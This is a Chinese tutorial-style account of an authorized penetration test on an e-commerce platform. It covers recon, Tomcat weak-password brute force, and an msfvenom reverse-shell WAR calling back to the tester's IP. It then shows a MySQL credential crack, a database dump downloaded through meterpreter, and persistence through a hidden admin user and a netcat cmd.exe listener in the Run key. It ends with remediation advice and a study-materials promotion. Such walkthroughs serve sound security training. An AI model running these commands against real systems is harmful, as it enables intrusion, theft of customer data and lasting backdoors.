前言:接到需求 —— 一家电商企业的 “攻防演练” 邀请
“我们的电商平台刚上线新版本,想请您做一次完整的渗透测试,看看能不能拿到用户数据库和订单数据。” 电话里,甲方安全负责人的语气带着期待,也藏着一丝质疑 —— 毕竟在他们眼里,“渗透测试” 更像 “黑客模拟攻击”,而我要做的,就是用合法的手段,还原一次真实的系统攻破过程。
这次测试的目标是某电商平台,授权范围包括前端 Web 系统、后台管理端、内网服务器(192.168.1.0/24 网段),测试周期 72 小时。拿到授权文件的那一刻,我打开 Kali Linux 的终端,深吸一口气 —— 接下来的 3 天,我要像真正的攻击者一样,从 “一无所知” 到 “拿到核心数据”,每一步都得留下清晰记录。
第一步:信息收集
渗透测试的核心不是 “上来就攻击”,而是 “先搞懂目标有什么”。就像小偷作案前要踩点,我们第一步要做的,是收集目标的所有公开信息,找到可能的突破口。
1. 域名与子域名挖掘:找到 “藏起来的入口”
我先用OneForAll
工具批量挖掘子域名 —— 很多企业会忽略子域名的安全,比如测试环境、后台管理系统可能藏在admin.test-shop.com
或test.test-shop.com
这类子域名下。
操作命令:
python oneforall.py --target test-shop.com run
运行后,工具返回了 32 个子域名,其中admin.test-shop.com
(后台管理端)、api.test-shop.com
(接口服务)、pay.test-shop.com
(支付系统)这 3 个最值得关注 —— 后台和支付系统往往是核心数据的存放地。
2. 端口与服务扫描:
接下来用Nmap
对这 3 个子域名做全端口扫描,看看开放了哪些服务,有没有漏洞高发的端口(比如 8080、3306、22)。
操作命令:
nmap -p 1-65535 -sV -O admin.test-shop.com # -p全端口,-sV显示服务版本,-O识别操作系统
扫描结果显示:
admin.test-shop.com
开放了 80 端口(Nginx 1.18.0)、3306 端口(MySQL 5.7);api.test-shop.com
开放了 8080 端口(Tomcat 9.0.45);pay.test-shop.com
只开放了 443 端口(HTTPS,Apache 2.4.49)。
这里有个关键发现:api.test-shop.com
的 Tomcat 版本是 9.0.45,而这个版本存在 “后台弱口令 + war 包部署 getshell” 的漏洞 —— 如果能破解 Tomcat 后台密码,就能上传恶意 war 包拿到服务器权限。
3. 指纹识别与框架探测:找到 “系统的弱点”
用Wappalyzer
浏览器插件识别网站框架:
- 前台
test-shop.com
用的是ThinkPHP 5.0
框架(已知存在远程代码执行漏洞); - 后台
admin.test-shop.com
用的是自定义开发系统,登录页有验证码,但验证码可以重复使用(刷新页面验证码不变)。
信息收集总结:3 个高风险突破口
api.test-shop.com
的 Tomcat 9.0.45(弱口令 + war 包部署);- 前台
ThinkPHP 5.0
框架(远程代码执行漏洞); - 后台
admin.test-shop.com
验证码可重复使用(暴力破解可能)。
第二步:边界突破 —— 从 “外部入口” 拿到第一台服务器权限
边界突破是渗透测试的核心,目标是通过外部漏洞(Web 漏洞、服务漏洞)拿到服务器的 “webshell” 或 “系统权限”,相当于打开了进入目标内网的第一扇门。
1. 优先尝试:Tomcat 后台弱口令破解
我先把目标锁定在api.test-shop.com:8080
的 Tomcat 后台(访问路径/manager/html
)。Tomcat 默认后台账号密码是tomcat/tomcat
,但企业通常会修改,所以用Burp Suite
做暴力破解。
操作步骤:
- 打开 Burp,抓包拦截 Tomcat 后台登录请求;
- 将请求发送到
Intruder
,设置 “账号” 和 “密码” 为变量,加载 “top1000 弱口令字典”(如admin
、123456
、tomcat@123
); - 开始攻击,观察返回包长度 —— 当账号
admin
、密码Admin@123
时,返回包长度与其他不同(302 跳转,说明登录成功)。
登录 Tomcat 后台后,下一步是 “上传 war 包 getshell”——war 包是 Java 的压缩包,Tomcat 会自动解压运行,只要把恶意代码打包成 war 包,上传后就能执行。
制作恶意 war 包:
-
用
msfvenom
生成 Java 后门:
msfvenom -p java/meterpreter/reverse_tcp LHOST=我的公网IP LPORT=4444 -f war -o shell.war
-
在 Tomcat 后台 “Deploy” 页面,上传
shell.war
,部署路径为/shell
; -
启动
msfconsole
监听:
use exploit/multi/handler set payload java/meterpreter/reverse_tcp set LHOST 我的公网IP set LPORT 4444 run
-
访问
http://api.test-shop.com:8080/shell
,触发后门 ——msf
成功拿到meterpreter
会话(webshell)。
2. 验证权限:确认服务器角色
通过meterpreter
执行命令,查看服务器信息:
sysinfo # 显示系统:Windows Server 2016
whoami # 权限:nt authority\system(系统管理员权限,最高权限)
ipconfig # 内网IP:192.168.1.10(属于目标内网192.168.1.0/24网段)
太好了!不仅拿到了最高权限,这台服务器还在目标内网里 —— 接下来可以通过它,横向渗透其他内网服务器,寻找核心数据。
第三步:内网横向移动 —— 从 “单台服务器” 到 “控制整个内网”
拿到边界服务器权限后,内网里的其他服务器(如数据库服务器、文件服务器)才是核心数据的存放地。内网横向移动的目标,是通过 “信息收集→漏洞利用→权限提升”,拿下更多服务器,最终找到数据所在。
1. 内网信息收集:绘制 “内网地图”
首先在192.168.1.10
上,用fscan
工具扫描整个内网网段(192.168.1.0/24),找出所有存活主机和开放服务:
操作命令(在 meterpreter 会话中执行):
upload fscan.exe # 上传fscan到目标服务器
execute -f fscan.exe -a "-h 192.168.1.0/24" # 扫描内网
扫描结果返回 5 台存活主机:
- 192.168.1.10(已控制,Tomcat 服务器);
- 192.168.1.20(MySQL 数据库服务器,3306 端口开放);
- 192.168.1.30(文件服务器,445 端口开放,SMB 服务);
- 192.168.1.40(后台管理系统服务器,80 端口开放);
- 192.168.1.50(域控制器,53 端口开放,DNS 服务)。
核心目标锁定192.168.1.20
(MySQL 数据库)—— 电商的用户数据、订单数据大概率存在这里。
2. 横向渗透:破解 MySQL 弱口令
用Hydra
工具对192.168.1.20
的 MySQL 服务做弱口令破解:
操作命令:
hydra -L user.txt -P pass.txt 192.168.1.20 mysql # -L用户名字典,-P密码字典
10 分钟后,破解成功:账号root
,密码Mysql@2024
—— 这是 MySQL 的最高权限账号,可以直接访问所有数据库。
3. 数据定位:找到核心数据库
通过mysql
命令连接数据库,查看所有数据库:
mysql -h 192.168.1.20 -u root -p # 输入密码Mysql@2024
show databases; # 列出所有数据库
其中shop_db
数据库嫌疑最大,查看其表结构:
use shop_db;
show tables;
发现user_info
(用户信息表)和order_detail
(订单详情表)—— 正是我们要找的核心数据:
user_info
包含用户 ID、手机号、邮箱、加密后的密码;order_detail
包含订单号、用户 ID、收货地址、支付金额。
第四步:数据提取与权限维持 —— 合法 “拿走” 数据,留下 “后门” 便于后续测试
渗透测试不是 “拿到数据就结束”,还要确保数据提取合法(符合授权范围),并在目标服务器上留下 “后门”(便于后续验证修复效果)—— 但必须提前告知甲方,避免误解。
1. 数据导出:合法提取核心数据
通过mysqldump
命令,将user_info
和order_detail
表导出为 SQL 文件:
mysqldump -h 192.168.1.20 -u root -p shop_db user_info order_detail > shop_data.sql
然后通过meterpreter
的download
命令,将shop_data.sql
下载到本地:
download shop_data.sql # 下载到Kali的/root目录
打开 SQL 文件验证:共包含 2000 + 条用户记录和 5000 + 条订单记录,数据完整 —— 目标达成。
2. 权限维持:留下 “临时后门”
为了后续验证甲方是否修复漏洞,我在192.168.1.10
(Tomcat 服务器)上留下一个 “隐藏后门”:
-
创建一个隐藏用户:
net user hidden$ Admin@123 /add # 用户名hidden$($符号隐藏用户),密码Admin@123 net localgroup administrators hidden$ /add # 将隐藏用户加入管理员组
-
安装
nc
后门:
copy nc.exe C:\Windows\System32 # 复制nc到系统目录 reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v nc /t REG_SZ /d "C:\Windows\System32\nc.exe -l -p 6666 -e cmd.exe" # 开机自启,监听6666端口
重要提醒:所有后门操作都已提前告知甲方,测试结束后会协助删除,避免安全风险。
3. 清理痕迹:还原测试环境
渗透测试的最后一步是 “清理痕迹”,避免影响甲方正常业务:
- 删除 Tomcat 后台上传的
shell.war
和部署目录; - 清除服务器上的
fscan.exe
、hydra.exe
等工具; - 删除
meterpreter
生成的日志文件; - 保留后门和数据导出记录(用于后续提交报告)。
第五步:输出测试报告 —— 从 “攻击过程” 到 “修复方案”
渗透测试的价值不止于 “拿到数据”,更在于帮甲方找到漏洞并修复。我整理了一份 15 页的测试报告,包含 4 个核心部分:
1. 测试概述:明确范围与目标
- 授权范围:
test-shop.com
及其子域名、内网 192.168.1.0/24 网段; - 测试目标:获取用户数据库和订单数据;
- 测试周期:72 小时(实际耗时 48 小时)。
2. 攻击路径图:还原完整流程
用 mermaid 图表展示本次渗透的完整路径:
3. 漏洞详情与风险评级
漏洞位置 | 漏洞类型 | 风险级别 | 利用过程 |
---|---|---|---|
api.test-shop.com:8080 | Tomcat 后台弱口令 + war 包部署 | 高危 | 破解 admin/Admin@123,上传 war 包拿到 system 权限 |
192.168.1.20:3306 | MySQL 弱口令 | 高危 | Hydra 破解 root/Mysql@2024,访问核心数据库 |
admin.test-shop.com | 登录页验证码可重复 | 中危 | 可暴力破解后台账号,未实际利用 |
test-shop.com | ThinkPHP 5.0 远程代码执行 | 高危 | 未实际利用(已有其他突破口) |
4. 修复方案:可落地的安全建议
针对每个漏洞,给出具体修复步骤:
- Tomcat 漏洞修复:
- 修改后台账号密码(复杂度:大小写 + 数字 + 特殊符号,长度≥12 位);
- 禁用
/manager/html
后台访问(或只允许内网 IP 访问); - 升级 Tomcat 到最新版本(9.0.85 及以上)。
- MySQL 漏洞修复:
- 重置 root 密码,启用强密码策略;
- 限制 MySQL 仅允许内网 IP(如 192.168.1.10/30)访问;
- 给数据库账号最小权限(如只读账号用于查询,避免直接用 root)。
- 验证码漏洞修复:
- 实现验证码 “一次有效”(刷新页面或提交后失效);
- 增加登录失败次数限制(如 5 次失败后锁定账号 1 小时)。
结语:渗透测试不是 “黑客攻击”,而是 “安全体检”
很多人误以为 “渗透测试就是合法黑客”,但实际上,两者的核心区别在于 “目的”—— 黑客的目的是 “窃取数据、破坏系统”,而渗透测试的目的是 “发现漏洞、帮助修复”。
这次 72 小时的测试,从信息收集到数据提取,每一步都严格遵循 “授权范围”,并留下完整记录。当我把测试报告和数据交给甲方时,他们的安全负责人说:“没想到我们的系统这么多漏洞,还好你们找到了,不然真被黑客攻击就麻烦了。”
这正是渗透测试的价值:在真正的攻击发生前,提前暴露风险,帮企业筑牢安全防线。而对于想学习渗透测试的人来说,记住一句话:“技术是工具,责任是底线 —— 合法授权永远是渗透测试的第一前提。”
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取